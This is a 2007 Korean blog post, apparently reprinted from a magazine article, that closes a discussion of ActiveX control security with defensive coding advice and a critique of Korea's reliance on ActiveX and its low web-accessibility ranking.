흔히 개발자는 ActiveX 컨트롤이 개발환경에서 정의한 사이트에서만 실행 가능하다고 착각한 상태에서 릴리즈 하는 경우가 많은데, ActiveX 컨트롤은 정상적인 사이트뿐만이 아닌 공격자의 사이트에서도 실행될 수 있다는 점은 개발자가 항상 인지해야 하는 점이며, ActiveX를 쓰고자 하는 목적이 로컬자원에 접근해야 하는 점이라면, 이에 대한 대체통제적 구현을 별도로 구현해야 한다. 선의의 목적에서 개발한 개발자의 컨트롤이 공격자에 의해 오히려 공격의 시작지점이 된다면 곤란하지 않겠는가? 따라서 해당 로컬자원에 접근하는 명령어를 명확히 하거나, 특정 파일과 레지스트리에 대한 전체 접근을 허용하지 않도록 고려해야 한다. 내가 설계한 시스템 로컬권한 접근은 공격자도 가능하다는 점을 인지해야 한다.

 

ActiveX 컨트롤의 코딩 시에는 일반적인 어플리케이션 개발과 마찬가지로 각종 입력값에 대한 명확한 정의와 길이에 대한 체크가 필요로 하다. 또한, 특정 파일명이나 각종 설정값은 언제든지 조작될 수 있다는 가정하에서 개발에 임해야 한다. 따라서 이러한 절차에서는 각종 파일명이나 디렉터리에 대한 명확한 정의 및 각종 설정값에 대한 필터링은 기본적으로 구현하는 것이 바람직하다.

 

또한, 공격자는 ActiveX 컨트롤을 특정 도메인으로 제한하는 절차를 따르는 것이 바람직하다. 이것은 허락 없이 공격자나 악의적 목적에서 다른 사람이 컨트롤을 재사용하지 못하도록 하는데 유용하다. 이에 대한 상세한 내역은 http://support.microsoft.com/kb/q196061/을 참조하면 된다.

 

기본적으로 MFC ActiveX 컨트롤은 스크립트 사용에 안전(Safe for Scripting) 또는 초기화에 안전(Safe for Initialization)으로 표시되지 않으며, 이것은 보안 수준이 보통 이상으로 높게 설정된 IE에서 컨트롤을 실행할 때 볼 수 있다.( http://support.microsoft.com/kb/161873/ko) 따라서 이에 대한 내역으로는 컨트롤의 데이터가 안전하지 않거나 컨트롤이 스크립트를 사용하기에 안전하지 않을 수도 있다는 내용의 경고가 표시될 수 있으며, 이러한 오류를 없애기 위해서는 실제로 안전한 컨트롤에 대해서만 정말로 안전하다는 표기를 해야 하는데, 상세한 http://support.microsoft.com/kb/161873/ko 내역을 참조하도록 한다.

 

맺음말

 

TCP/IP를 몰라도 네트워크 프로그래밍을 할 수 있을 정도로 개발환경은 지속적인 진화를 거듭해 가고 있으며, ActiveX 컨트롤로 포장된 우리나라의 웹 서비스 수준과 이를 통한 실제 활용은 세계적이라고 할 수 있다. 실제로 2006 8월 달에 insidepolitics에서 발행된 자료(http://www.insidepolitics.org/egovt06int.pdf)를 보면 국가별 E-Government Ranking 순위가 발표되었는데, 대한민국 전자정부는 60.3점으로 1위를 차지했을 정도로 우리나라의 인터넷 환경은 자부심을 가져도 좋을 만큼의 놀라운 성장을 지속하고 있다.

 

하지만, 이 자료의 평가 기준 세부 내역을 연구해보면, Online Service, Publications, Databases, Privacy Policy, Security Policy, W3C Disability Accessibility1) 6개 항목으로 점수가 구분되어 있으며, W3C Disability Accessibility(장애인 접근성) 항목은 OECD 국가 29개국(EU 제외) 25위로써 거의 최하위라는 것을 알 수가 있는데, 이것은 사실상 국내의 웹 서비스 수준이 양적으로는 우수하지만, 다양한 웹 접근성 확보 측면에서는 사실상 낙제점을 받았다고 볼 수가 있으며, 이는 비단 전자정부뿐만이 아니라 일반적인 국내 웹 서비스 수준을 대변하는 지표로 해석될 수 있다고 본다.

 

웹 서비스를 위한 기반 기술이 서비스 품질 향상과 보안을 만족하는 형태로 나아가는 것이 바람직하다고 한다면, 이제는 서비스 철학이라는 한가지의 명제에 대해 더 고민해야 하는 시기가 왔다고 본다. 따라서 플랫폼에 의존적인 ActiveX와 같은 기술에서 벗어나고자 하는 노력을 이제부터라도 게을리해서는 안 된다고 생각한다. 기반기술의 선택은 단순히 구현 가능성 및 적용 편의성만을 고려하는 단계를 벗어나야 하며, 이제는 웹 서비스를 위한 좀 더 넓은 거시적 시각을 확보하는 것이 바람직하다. -끝-

 

 

1) 해당 문서에서 언급한 W3C Disability Accessibility 항목은 W3C(World Wide Web Consortium)의 표준(Guideline)을 충족하는 자동화 검사 도구(Bobby 5.0)를 이용하여, 웹 사이트의 컨텐츠 품질(Quality), 접근성(Accessibility), Privacy 항목에 대해 검사한 결과이며, 해당 항목은 장애인 접근성(Disability Accessibility)으로 해석이 되지만, 사실상 웹 접근성(Web Accessibility) 항목의 비중이 거의 대부분임.



신고
크리에이티브 커먼즈 라이선스
Creative Commons License

 
 
     ActiveX, ActiveX 컨트롤, security, 보안, 정보보호
     0   2
BlogIcon somma 2007.05.08 23:44 신고
재밌는 글 잘 보고 갑니다.
항상 느끼는 거지만 jerry 님은 글을 참 잘 쓰시는 것 같아요 ^^
멋지심다.
BlogIcon Jerry 2007.05.11 15:41 신고 
재미있게 보셨다니 다행입니다. 잡지사에서 좀 재미있게 써달라고 해서 이런저런 내용들을 주렁주렁 달아봤는데, 부족함을 많이 느끼게 됩니다.

아이디 
비밀번호 
홈페이지 
비밀글   

 

<<이전 | 1 | 다음>>

bluesman's Blog is powered by Daum & Tattertools

 

티스토리 툴바